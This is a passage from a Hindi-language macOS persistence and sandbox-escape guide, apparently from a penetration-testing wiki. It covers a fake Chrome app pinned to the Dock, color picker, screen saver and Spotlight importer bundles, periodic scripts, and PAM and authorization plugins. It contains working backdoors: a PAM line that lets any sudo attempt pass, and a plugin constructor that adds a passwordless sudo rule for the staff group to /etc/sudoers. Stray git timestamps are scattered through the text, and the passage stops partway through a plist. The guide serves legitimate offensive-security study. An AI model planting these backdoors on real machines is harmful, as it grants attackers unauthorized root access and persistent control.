cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2023-11-06 08:38:02 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2023-11-06 08:38:02 +00:00
### कलर पिकर्स
2023-09-28 21:12:41 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* एक बहुत विशिष्ट कार्रवाई होनी चाहिए
* आप एक और सैंडबॉक्स में समाप्त हो जाएंगे
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* `/Library/ColorPickers`  
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता होती है
* ट्रिगर: कलर पिकर का उपयोग करें
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2023-11-06 08:38:02 +00:00
* ट्रिगर: कलर पिकर का उपयोग करें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पादन
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
अपने कोड के साथ एक कलर पिकर बंडल को कंपाइल करें (आप [**इसका उपयोग कर सकते हैं उदाहरण के लिए** ](https://github.com/viktorstrate/color-picker-plus )) और एक constructor जोड़ें (स्क्रीन सेवर अनुभाग में की तरह) और बंडल को `~/Library/ColorPickers` में कॉपी करें।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
फिर, जब कलर पिकर ट्रिगर होता है, आपका कोड भी होना चाहिए।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
ध्यान दें कि आपकी लाइब्रेरी को लोड करने वाला बाइनरी एक **बहुत सीमित सैंडबॉक्स** है: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2023-11-06 08:38:02 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2023-11-06 08:38:02 +00:00
### फ़ाइंडर सिंक प्लगइन
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**लेख**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: **नहीं, क्योंकि आपको अपना खुद का ऐप्लिकेशन चलाना होगा**
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* एक विशेष ऐप
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पादन
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
फ़ाइंडर सिंक एक्सटेंशन के साथ एक ऐप्लिकेशन उदाहरण [**यहां पाया जा सकता है** ](https://github.com/D00MFist/InSync )।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
ऐप्लिकेशन में `फ़ाइंडर सिंक एक्सटेंशन` हो सकता है। यह एक्सटेंशन एक ऐप्लिकेशन के अंदर जाएगा जो चलाया जाएगा। इसके अलावा, एक्सटेंशन को अपनी कोड को चलाने के लिए **किसी वैध Apple डेवलपर सर्टिफिकेट के साथ साइन किया जाना चाहिए** , इसे **सैंडबॉक्स** करना चाहिए (हालांकि ढीली छूटें जोड़ी जा सकती हैं) और इसे कुछ इस तरह से पंजीकृत किया जाना चाहिए:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2023-11-06 08:38:02 +00:00
### स्क्रीन सेवर
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
लेख: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आप एक सामान्य एप्लिकेशन सैंडबॉक्स में अंत में पहुंचेंगे
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* `/System/Library/Screen Savers`  
2023-11-06 08:38:02 +00:00
* रूट अनिवार्य
* **ट्रिगर**: स्क्रीन सेवर का चयन करें
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2023-11-06 08:38:02 +00:00
* रूट अनिवार्य
* **ट्रिगर**: स्क्रीन सेवर का चयन करें
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: स्क्रीन सेवर का चयन करें
2023-09-28 15:09:34 +00:00
2023-11-03 11:03:53 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पादन
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
Xcode में एक नया प्रोजेक्ट बनाएं और एक नया **स्क्रीन सेवर** उत्पन्न करने के लिए टेम्पलेट का चयन करें। फिर, इसे अपने कोड के लिए उपयोग करें, उदाहरण के लिए निम्नलिखित कोड तक लोग उत्पन्न करने के लिए।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
**बिल्ड** करें, और `.saver` बंडल को ** `~/Library/Screen Savers` ** में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और इस पर क्लिक करें, इसे बहुत सारे लॉग उत्पन्न होने चाहिए:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
ध्यान दें कि इस कोड को लोड करने वाले बाइनरी (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) की entitlements में आप ** `com.apple.security.app-sandbox` ** खोज सकते हैं, इसलिए आप **सामान्य एप्लिकेशन सैंडबॉक्स के अंदर** होंगे।
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
सेवर कोड:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2023-11-06 08:38:02 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2023-11-06 08:38:02 +00:00
### स्पॉटलाइट प्लगइन्स
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
सैंडबॉक्स को छलने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
* लेकिन आप एक एप्लिकेशन सैंडबॉक्स में अंत में पहुंचेंगे
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-10-01 18:04:16 +00:00
* `~/Library/Spotlight/`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
2023-10-01 18:04:16 +00:00
* `/Library/Spotlight/`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* रूट की आवश्यकता है
2023-10-01 18:04:16 +00:00
* `/System/Library/Spotlight/`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* रूट की आवश्यकता है
2023-10-01 18:04:16 +00:00
* `Some.app/Contents/Library/Spotlight/`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक एक्सटेंशन वाली नई फ़ाइल बनाई जाती है।
* नई ऐप की आवश्यकता होती है
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पादन
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
स्पॉटलाइट मैकओएस की अंतर्निहित खोज सुविधा है, जो उपयोगकर्ताओं को उनके कंप्यूटर पर डेटा तक त्वरित और व्यापक पहुंच प्रदान करने के लिए डिज़ाइन की गई है।\
इस त्वरित खोज क्षमता को सुविधाजनक बनाने के लिए, स्पॉटलाइट एक **प्रोप्राइटरी डेटाबेस** बनाए रखता है और एक इंडेक्स बनाता है जिसमें **अधिकांश फ़ाइलें पार्स करके** , फ़ाइलों के नाम और उनकी सामग्री के माध्यम से त्वरित खोज की जाती है।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
स्पॉटलाइट की आधारभूत यांत्रिकी में 'mds' नामक एक केंद्रीय प्रक्रिया होती है, जिसे 'मेटाडेटा सर्वर' के लिए खड़ा किया गया है। यह प्रक्रिया संपूर्ण स्पॉटलाइट सेवा को संचालित करती है। इसके साथ, कई 'mdworker' डेमन होते हैं जो विभिन्न रखरखाव कार्यों को करते हैं, जैसे कि विभिन्न फ़ाइल प्रकारों को इंडेक्स करना (`ps -ef | grep mdworker`)। ये कार्य संभव होते हैं स्पॉटलाइट इंपोर्टर प्लगइन्स या ** ".mdimporter बंडल्स**" के माध्यम से, जो स्पॉटलाइट को विभिन्न फ़ाइल प्रारूपों की सामग्री को समझने और इंडेक्स करने की सुविधा प्रदान करते हैं।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
प्लगइन्स या ** `.mdimporter` ** बंडल्स पहले से बताए गए स्थानों में स्थित होते हैं और यदि एक नया बंडल दिखाई देता है तो यह मिनटों के भीतर लोड हो जाता है (किसी भी सेवा को पुनः प्रारंभ करने की आवश्यकता नहीं होती है)। इन बंडल्स को इंडिकेट करना चाहिए कि वे किस **फ़ाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं** , इस तरह, स्पॉटलाइट उन्हें उपयोग करेगा जब एक नई फ़ाइल बनाई जाती है जिसमें निर्दिष्ट एक्सटेंशन होती है।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
सभी लोड किए गए `mdimporters` को खोजना संभव है निम्नलिखित को चला कर पाया जा सकता है:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2023-11-06 08:38:02 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2023-11-06 08:38:02 +00:00
और उदाहरण के लिए ** /Library/Spotlight/iBooksAuthor.mdimporter** इस तरह के फ़ाइलों (एक्सटेंशन `.iba` और `.book` आदि) को पार्स करने के लिए उपयोग किया जाता है:
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2023-11-06 08:38:02 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2023-11-06 08:38:02 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
यदि आप अन्य `mdimporter` के Plist की जांच करते हैं तो आपको प्रविष्टि ** `UTTypeConformsTo` ** नहीं मिलेगी। इसलिए यह एक निर्मित _यूनिफॉर्म टाइप पहचानकर्ता_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type_Identifier)) है और इसे विस्तार करने की आवश्यकता नहीं है।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
इसके अलावा, सिस्टम डिफ़ॉल्ट प्लगइन हमेशा प्राथमिकता देते हैं, इसलिए एक हमलावर केवल उन फ़ाइलों तक पहुंच सकता है जिन्हें अन्यथा Apple के अपने `mdimporters` द्वारा सूचीबद्ध नहीं किया गया है।
2023-10-01 18:04:16 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
अपना खुद का आयातकर्ता बनाने के लिए आप इस प्रोजेक्ट से शुरू कर सकते हैं: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) और फिर नाम, ** `CFBundleDocumentTypes` ** और ** `UTImportedTypeDeclarations` ** को बदलें ताकि यह वह विस्तार समर्थित करें जिसे आप समर्थन करना चाहते हैं और उन्हें ** `schema.xml` ** में प्रतिबिंबित करें।\
फिर ** `GetMetadataForFile` ** फ़ंक्शन के कोड को **बदलें** ताकि जब प्रसंस्कृत एक्सटेंशन वाली फ़ाइल बनाई जाए, तो आपका पेलोड निष्पादित हो।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
अंत में अपना नया `.mdimporter` **बिल्ड और कॉपी** करें तीनों पिछले स्थानों में और आप जब भी यह लोड होता है उसे जांच सकते हैं **लॉग्स की निगरानी** या ** `mdimport -L.` ** की जांच करके।
2023-10-01 18:04:16 +00:00
2023-09-28 20:05:35 +00:00
### ~~Preference Pane~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
ऐसा लगता नहीं है कि यह अब काम कर रहा है।
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* इसे एक विशेष उपयोगकर्ता क्रिया की आवश्यकता होती है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
ऐसा लगता नहीं है कि यह अब काम कर रहा है।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
## रूट सैंडबॉक्स छलना
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2023-11-06 08:38:02 +00:00
यहां आपको **सैंडबॉक्स छलने** के लिए उपयोगी शुरू स्थान मिलेंगे जिससे आप केवल किसी फ़ाइल में कुछ लिखकर इसे **रूट** के रूप में **चला सकते हैं** और/या अन्य **अजीब शर्तों** की आवश्यकता होती है।
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
### आवधिक
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए
2023-09-26 23:39:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता होती है
* **ट्रिगर**: समय आने पर
* `/etc/daily.local` , `/etc/weekly.local` या `/etc/monthly.local`
* रूट की आवश्यकता होती है
* **ट्रिगर**: समय आने पर
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
आवधिक स्क्रिप्ट (**`/etc/periodic`**) को **लॉन्च डेमन** के कारण निष्पादित किया जाता है जो `/System/Library/LaunchDaemons/com.apple.periodic*` में कॉन्फ़िगर किए गए होते हैं। ध्यान दें कि `/etc/periodic/` में संग्रहीत स्क्रिप्ट **फ़ाइल के मालिक के रूप में निष्पादित** होते हैं, इसलिए यह किसी संभावित विशेषाधिकार उन्नयन के लिए काम नहीं करेगा।
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
वहाँ अन्य आवधिक स्क्रिप्ट हैं जो ** `/etc/defaults/periodic.conf` ** में निर्दिष्ट होंगे और निष्पादित किए जाएंगे:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2023-11-06 08:38:02 +00:00
यदि आप `/etc/daily.local` , `/etc/weekly.local` या `/etc/monthly.local` फ़ाइलों में से किसी भी फ़ाइल को लिखने में सफल होते हैं, तो यह **जल्द ही या बाद में निष्पादित होगी** ।
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2023-11-06 08:38:02 +00:00
ध्यान दें कि पीरियडिक स्क्रिप्ट **स्क्रिप्ट के मालिक के रूप में निष्पादित होगा** । इसलिए, यदि एक साधारण उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उपयोगकर्ता के रूप में निष्पादित होगी (यह विशेषाधिकार बढ़ाने के हमलों को रोक सकता है)।
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को अनदेखा करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* हमेशा रूट की आवश्यकता होती है
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
PAM अधिकतम रूप से **स्थायित्व** और मैलवेयर पर ध्यान केंद्रित होता है जो macOS में आसान निष्पादन पर। इस ब्लॉग में एक विस्तृत व्याख्या नहीं दी जाएगी, **इस तकनीक को बेहतर समझने के लिए व्राइटअप पढ़ें** ।
2023-11-02 16:52:21 +00:00
2023-11-06 08:38:02 +00:00
PAM मॉड्यूल्स की जांच करें: 
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2023-11-06 08:38:02 +00:00
एक persistence/privilege escalation तकनीक PAM का दुरुपयोग करती है जो बहुत ही आसान है, बस /etc/pam.d/sudo मॉड्यूल को संशोधित करके पहले लाइन में निम्नलिखित लाइन जोड़ें:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2023-11-06 08:38:02 +00:00
यहां यह ऐसा **दिखेगा** :
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2023-11-06 08:38:02 +00:00
और इसलिए ** `sudo` का उपयोग करने का प्रयास** कोई भी काम करेगा।
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
ध्यान दें कि यह निर्देशिका TCC द्वारा संरक्षित है, इसलिए उपयोगकर्ता को पहुंच के लिए पूछताछ करने की संभावना बहुत अधिक है।
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### अधिकृतता प्लगइन
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
लेख: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को दौर करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए और अतिरिक्त कॉन्फ़िगरेशन करनी होगी
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता होती है
* अधिकृतता डेटाबेस को प्लगइन का उपयोग करने के लिए भी कॉन्फ़िगर करना आवश्यक है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
आप एक अधिकृतता प्लगइन बना सकते हैं जो स्थिरता बनाए रखने के लिए उपयोगकर्ता लॉग इन करते समय निष्पादित होगा। इन प्लगइन्स में से एक कैसे बनाएं इसके बारे में अधिक जानकारी के लिए पिछले लेखों की जांच करें (और सावधान रहें, एक बुरी तरह से लिखी गई प्लगइन आपको बाहर बंद कर सकती है और आपको अपने मैक को रिकवरी मोड से साफ़ करने की आवश्यकता होगी)।
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2023-11-06 08:38:02 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2023-11-06 08:38:02 +00:00
**बंडल** को लोड होने वाले स्थान पर **मूव** करें:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2023-11-06 08:38:02 +00:00
अंत में इस प्लगइन को लोड करने के लिए **नियम** जोड़ें:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
